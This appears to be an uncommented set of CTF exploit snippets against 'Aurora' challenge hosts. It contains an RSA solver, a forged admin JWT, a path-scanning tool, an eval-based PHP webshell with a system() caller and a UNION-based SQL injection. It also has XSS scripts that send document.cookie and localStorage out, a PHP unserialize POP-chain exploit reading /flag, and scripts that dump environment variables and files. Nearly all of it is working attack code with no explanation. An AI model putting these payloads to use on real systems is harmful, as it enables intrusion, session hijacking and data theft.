n = 7684665226198080484780376255206476956067002042347739747909501461968399886736606064460522242826074828207453255220208628948648123334322583644727381160167097
c = 5297812983728941037698942226201833875958973993272792457439467115944232928076946258968814934410411488628390145466660602710072553696202574384932673428071910
d = 4353631310305759041753674870371870590686356086337934740682849074285132358738374121751675756997155371972961633095044498476551028059053175538116618027664965

m = pow(c, d, n)

flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')

print(flag_bytes.decode('utf-8', errors='ignore'))

cat ./flag

import jwt
import datetime

SECRET_KEY = 'aurora_2025_admin'
TOKEN_EXPIRATION = 3600

payload = {
    'user': 'admin',
    'exp': datetime.datetime.utcnow() + datetime.timedelta(seconds=TOKEN_EXPIRATION)
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
print(token)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
import time

# 常见路径列表
COMMON_PATHS = [
    # 管理后台
    "/admin",
    "/admin/",
    "/administrator",
    "/dashboard",
    "/panel",
    "/manage",
    "/management",
    # 登录相关
    "/login",
    "/login.php",
    "/signin",
    "/auth",
    "/user/login",
    # API 端点
    "/api",
    "/api/",
    "/api/v1",
    "/api/v2",
    "/rest",
    "/service",
    # 常见文件
    "/robots.txt",
    "/sitemap.xml",
    "/favicon.ico",
    "/.htaccess",
    "/web.config",
    # 配置和备份
    "/config",
    "/config.php",
    "/configuration",
    "/backup",
    "/backup.zip",
    "/database",
    "/.env",
    "/.env.local",
    "/config.json",
    # Git 和版本控制
    "/.git",
    "/.gitignore",
    "/.gitlab-ci.yml",
    "/.github",
    # 上传目录
    "/upload",
    "/uploads",
    "/files",
    "/download",
    "/downloads",
    # 常见目录
    "/static",
    "/assets",
    "/css",
    "/js",
    "/images",
    "/img",
    "/media",
    "/public",
    "/src",
    "/app",
    "/lib",
    # 测试相关
    "/test",
    "/tests",
    "/testing",
    "/debug",
    # 文档
    "/docs",
    "/documentation",
    "/readme",
    "/readme.md",
    # 其他常见
    "/search",
    "/user",
    "/users",
    "/profile",
    "/settings",
    "/about",
    "/contact",
    "/help",
    "/faq",
    # CTF 相关路径 - Python 应用
    "/app.py",
    "/main.py",
    "/index.py",
    "/server.py",
    "/flask_app.py",
    "/wsgi.py",
    "/run.py",
    "/start.py",
    "/application.py",
    "/manage.py",
    # CTF 相关路径 - PHP 应用
    "/index.php",
    "/main.php",
    "/home.php",
    "/dashboard.php",
    "/admin.php",
    "/shell.php",
    "/cmd.php",
    "/exec.php",
    "/system.php",
    "/upload.php",
    # CTF 相关路径 - ASP/ASP.NET
    "/index.asp",
    "/default.asp",
    "/index.aspx",
    "/default.aspx",
    "/admin.aspx",
    "/shell.aspx",
    # CTF 相关路径 - 源代码
    "/source",
    "/source.php",
    "/source.py",
    "/app_source",
    "/code",
    "/src.zip",
    "/download.php",
    # CTF 相关路径 - Flag/Secret
    "/flag",
    "/flag.txt",
    "/flag.php",
    "/secret",
    "/secret.txt",
    "/secret.php",
    "/hint",
    "/hint.txt",
    # CTF 相关路径 - 常见 CMS
    "/wp-admin",
    "/wp-login.php",
    "/wp-content",
    "/wp-includes",
    "/administrator",
    # CTF 相关路径 - Backup/Archive
    "/.bak",
    "/.backup",
    "/index.php.bak",
    "/index.php.old",
    "/index.php~",
    "/app.py.bak",
    "/app.py.old",
    "/.git.zip",
    # CTF 相关路径 - Database
    "/database.php",
    "/db.php",
    "/sql",
    "/database.sql",
    "/dump.sql",
    # CTF 相关路径 - 脚本/工具
    "/tool",
    "/tools",
    "/script",
    "/scripts",
    "/exploit.py",
    "/payload.php",
    # CTF 相关路径 - 信息泄露
    "/info.php",
    "/phpinfo.php",
    "/status",
    "/status.php",
    "/version",
    "/version.txt",
    "/about.php",
]


def generate_relative_paths(max_depth=5):
    """
    生成相对路径列表 (如 ../, ../../ 等)

    参数:
        max_depth: 最大回溯深度
    """
    relative_paths = []
    for depth in range(1, max_depth + 1):
        prefix = "../" * depth
        relative_paths.append(prefix)
    return relative_paths


def scan_path(url, path, base_path="", timeout=5, verbose=False):
    """
    扫描单个路径

    参数:
        url: 目标 URL (基础 URL)
        path: 要扫描的相对路径
        base_path: 基础相对路径 (如 /admin, /api/v1 等)
        timeout: 请求超时时间
        verbose: 是否打印每个请求 URL
    """
    # 构建完整路径
    if base_path:
        # 确保 base_path 以 / 开头，路径末尾不以 / 结尾
        base_path = base_path.rstrip("/") if base_path != "/" else "/"
        if not path.startswith("/"):
            full_path = base_path + "/" + path
        else:
            full_path = base_path + path
    else:
        full_path = path

    # 构建完整 URL
    target_url = url.rstrip("/") + full_path

    if verbose:
        print(f"[*] 扫描: {target_url}")

    try:
        response = requests.get(target_url, timeout=timeout, allow_redirects=False)
        # 返回状态码在 200-299 范围内的路径
        if 200 <= response.status_code < 300:
            return {
                "path": full_path,
                "url": target_url,
                "status": response.status_code,
                "found": True,
            }
        # 返回其他有意义的状态码
        elif response.status_code in [301, 302, 401, 403, 500]:
            return {
                "path": full_path,
                "url": target_url,
                "status": response.status_code,
                "found": False,
            }
    except requests.exceptions.RequestException as e:
        pass

    return None


def dirsearch(url, base_path="", threads=10, scan_relative=False, relative_depth=5):
    """
    主扫描函数

    参数:
        url: 目标 URL
        base_path: 基础路径 (如 /admin, /api/v1)，支持相对目录扫描
        threads: 线程数
        scan_relative: 是否扫描相对路径 (如 ../, ../../ 等)
        relative_depth: 相对路径的最大深度
    """
    # 确保 URL 以 http:// 或 https:// 开头
    if not url.startswith(("http://", "https://")):
        url = "http://" + url

    # 规范化 base_path
    if base_path:
        base_path = base_path.rstrip("/") if base_path != "/" else "/"
        display_url = url.rstrip("/") + base_path
    else:
        display_url = url

    # 生成扫描路径列表
    scan_paths = list(COMMON_PATHS)

    # 如果启用相对路径扫描，添加相对路径变体
    if scan_relative:
        relative_paths = generate_relative_paths(relative_depth)
        # 为每个常见路径添加相对路径前缀
        for rel_prefix in relative_paths:
            for path in COMMON_PATHS:
                # 去掉路径开头的 /
                clean_path = path.lstrip("/")
                scan_paths.append(rel_prefix + clean_path)

    print(f"[*] 开始扫描: {display_url}")
    if base_path:
        print(f"[*] 基础路径: {base_path}")
    if scan_relative:
        print(f"[*] 启用相对路径扫描 (深度: {relative_depth})")
    print(f"[*] 线程数: {threads}")
    print(f"[*] 路径数: {len(scan_paths)}")
    print("[*] " + "=" * 50)

    found_paths = []
    start_time = time.time()

    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {
            executor.submit(scan_path, url, path, base_path): path
            for path in scan_paths
        }

        completed = 0
        for future in as_completed(futures):
            completed += 1
            result = future.result()

            if result and result["found"]:
                found_paths.append(result)
                print(f"[+] {result['status']} - {result['url']}")

            # 显示进度
            if completed % 50 == 0:
                print(f"[*] 进度: {completed}/{len(scan_paths)}")

    elapsed_time = time.time() - start_time

    print("[*] " + "=" * 50)
    print(f"[+] 扫描完成!")
    print(f"[+] 耗时: {elapsed_time:.2f} 秒")
    print(f"[+] 找到 {len(found_paths)} 个有效路径")

    if found_paths:
        print("\n[+] 有效路径列表:")
        for result in found_paths:
            print(f"    {result['status']} - {result['url']}")


def main():
    if len(sys.argv) < 2:
        print("使用方法:")
        print(
            "  python dirsearch.py <url> [base_path] [threads] [--relative] [--depth N]"
        )
        print("")
        print("参数说明:")
        print("  <url>          - 目标 URL")
        print("  [base_path]    - 基础路径，如 /admin, /api/v1 等 (默认: '')")
        print("  [threads]      - 线程数 (默认: 10)")
        print("  --relative     - 启用相对路径扫描，如 ../, ../../ 等")
        print(
            "  --depth N      - 相对路径的最大深度 (默认: 5，需要配合 --relative 使用)"
        )
        print("")
        print("示例:")
        print("  python dirsearch.py https://example.com")
        print("  python dirsearch.py https://example.com /admin")
        print("  python dirsearch.py https://example.com /admin 20")
        print("  python dirsearch.py https://example.com /upload --relative")
        print("  python dirsearch.py https://example.com /upload --relative --depth 3")
        print("  python dirsearch.py https://example.com '' 20 --relative --depth 7")
        sys.exit(1)

    url = sys.argv[1]
    base_path = ""
    threads = 10
    scan_relative = False
    relative_depth = 5

    # 解析可选参数
    i = 2
    while i < len(sys.argv):
        arg = sys.argv[i]

        if arg == "--relative":
            scan_relative = True
            i += 1
        elif arg == "--depth":
            if i + 1 < len(sys.argv):
                try:
                    relative_depth = int(sys.argv[i + 1])
                    i += 2
                except ValueError:
                    print(f"[!] 错误: --depth 参数必须是整数")
                    sys.exit(1)
            else:
                print(f"[!] 错误: --depth 参数需要指定一个数值")
                sys.exit(1)
        elif arg.startswith("--"):
            print(f"[!] 未知参数: {arg}")
            sys.exit(1)
        elif arg.isdigit():
            # 线程数
            threads = int(arg)
            i += 1
        else:
            # 基础路径
            if not base_path:
                base_path = arg
                i += 1
            else:
                print(f"[!] 未知参数: {arg}")
                sys.exit(1)

    try:
        dirsearch(url, base_path, threads, scan_relative, relative_depth)
    except KeyboardInterrupt:
        print("\n[!] 扫描被中断")
        sys.exit(0)
    except Exception as e:
        print(f"[!] 错误: {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()

<?php
highlight_file(__FILE__);
// 一个简单的php小马
$pass = $_GET['password'];
if(md5($pass) == '80e0b2a2c1a1d6d47f9a9ff573c08c42'){
    echo "password correct!";
    eval($_POST[1]);
}else{
    echo "error!";
}
?>

import requests

url = "http://node.szu.moe:10358/shell.php?password=hikari"
data = {"1": "system('ls -la');"}

response = requests.post(url, data=data)
print(response.text)

import requests

BASE_URL = "http://node.szu.moe:10358"
paths = ["/flag", "/flag.txt", "/flag.php", "flag", "flag.txt"]

for path in paths:
    url = f"{BASE_URL}{path}"
    response = requests.get(url)
    if response.status_code == 200:
        print(f"[200] {path}: {response.text}")

<h1>有没有被骗到？</h1>
这是你的flag: Aurora{weIcOM3_t0_AUr0r4_786cccf7332c}
。玩得开心！

<h1>⚙️ a</h1>
<h2>艺术家: b</h2>
<p>c</p>

curl 'http://node.szu.moe:10412/artwork.php?id=999%20UNION%20SELECT%20flag,1,1%20FROM%20secret'

<script>
function postData(content) {
    var form = document.createElement("form");
    form.method = "POST";
    form.action = "/post/new";
    
    var textarea = document.createElement("textarea");
    textarea.name = "content";
    textarea.value = content;
    form.appendChild(textarea);
    
    document.body.appendChild(form);
    form.submit();
}
var info = "Cookie: " + document.cookie + "\n" + "LocalStorage: " + JSON.stringify(localStorage) + "\n";

postData(info);
</script>

fetch("/flag").then(r=>r.text()).then(flagData=>{
    info += "FLAG endpoint: " + flagData + "\n";
    postData(info);
}).catch(e=>{
    postData(info);
});

class SecretMessage {
    protected $content;
    public $filename;

    public function __construct($filename) {
        $this->filename = $filename;
    }

    public function __toString() {
        if (file_exists($this->filename)) {
            return file_get_contents($this->filename);
        }
        return "秘密文件已被黄四郎转移!";
    }
}

class MessageDecoder {
    private $decoder;
    public $message;

    public function __construct($message) {
        $this->message = $message;
    }

    public function __destruct() {
        $this->decoder->process($this->message);
    }
}

class DecoderHandler {
    public $callback;

    public function process($data) {
        call_user_func($this->callback, $data);
    }
}

class OutputSystem {
    public $output;
    public $format;

    public function __invoke($data) {
        $this->output = $this->format->render($data);
        echo $this->output;
    }
}

class FormatRenderer {
    public $template;

    public function render($content) {
        return sprintf($this->template, $content);
    }
}

class SystemTrigger {
    public $payload;

    public function __wakeup() {
        $this->payload->execute();
    }
}

class PayloadExecutor {
    public $command;

    public function execute() {
        $this->command->run();
    }
}

class CommandRunner {
    public $cmd;

    public function run() {
        ($this->cmd)();
    }
}

if (isset($_GET['payload'])) {
    $payload = base64_decode($_GET['payload']);
    unserialize($payload);
    exit;
}

#!/usr/bin/env python3
import base64
import requests
import urllib.parse

def create_exploit_payload(filepath="/flag"):
    # SecretMessage 对象
    secret_message = (
        'O:13:"SecretMessage":2:{'
        's:10:"\x00*\x00content";'
        's:0:"";'
        's:8:"filename";'
        f's:{len(filepath)}:"{filepath}";'
        '}'
    )
    
    # DecoderHandler 对象
    decoder_handler = (
        'O:14:"DecoderHandler":1:{'
        's:8:"callback";'
        's:6:"printf";'
        '}'
    )
    
    # MessageDecoder 对象
    payload = (
        'O:14:"MessageDecoder":2:{'
        's:23:"\x00MessageDecoder\x00decoder";'
        f'{decoder_handler}'
        's:7:"message";'
        f'{secret_message}'
        '}'
    )
    
    return payload

def exploit():
    target = "http://node.szu.moe:10756"
    payload = create_exploit_payload("/flag")
    encoded = base64.b64encode(payload.encode('latin1')).decode()
    url = f"{target}/?payload={urllib.parse.quote(encoded)}"
    
    print(f"[*] 发送请求: {url}")
    resp = requests.get(url)
    print(f"[+] 状态码: {resp.status_code}")
    print(f"[+] 响应内容: {resp.text}")

if __name__ == "__main__":
    exploit()

<?php
$env = getenv();

foreach ($env as $key => $value) {
    echo "$key: $value<br>";
}
?>

<?php
echo getcwd();

$files = scandir('.');
foreach ($files as $file) {
    echo "$file<br>";
}

@$root_files = scandir('/');
if ($root_files) {
    foreach ($root_files as $file) {
        echo "$file<br>";
    }
}

$flag_dir = "/flag";

echo @file_get_contents($flag_dir);

if (is_dir($flag_dir)) {
    $files = scandir($flag_dir);
    foreach ($files as $file) {
        echo "$file<br>";
        if ($file != "." && $file != "..") {
            $filepath = "$flag_dir/$file";
            if (is_file($filepath)) {
                echo "$file:<br>";
                $content = @file_get_contents($filepath);
                if ($content !== false) {
                    echo htmlspecialchars($content) . "<br>";
                }
            }
        }
    }
}
?>

function extractAndPostFlag() {
  let content = "Cookie: " + document.cookie + "\n" + "LocalStorage: " + JSON.stringify(localStorage) + "\n";
  postToBoard(content);
}

function postToBoard(message) {
  const form = new FormData();
  form.append('content', message);
  
  fetch('/post/new', {
    method: 'POST',
    body: form
  })
  .then(r => r.text())
}

extractAndPostFlag();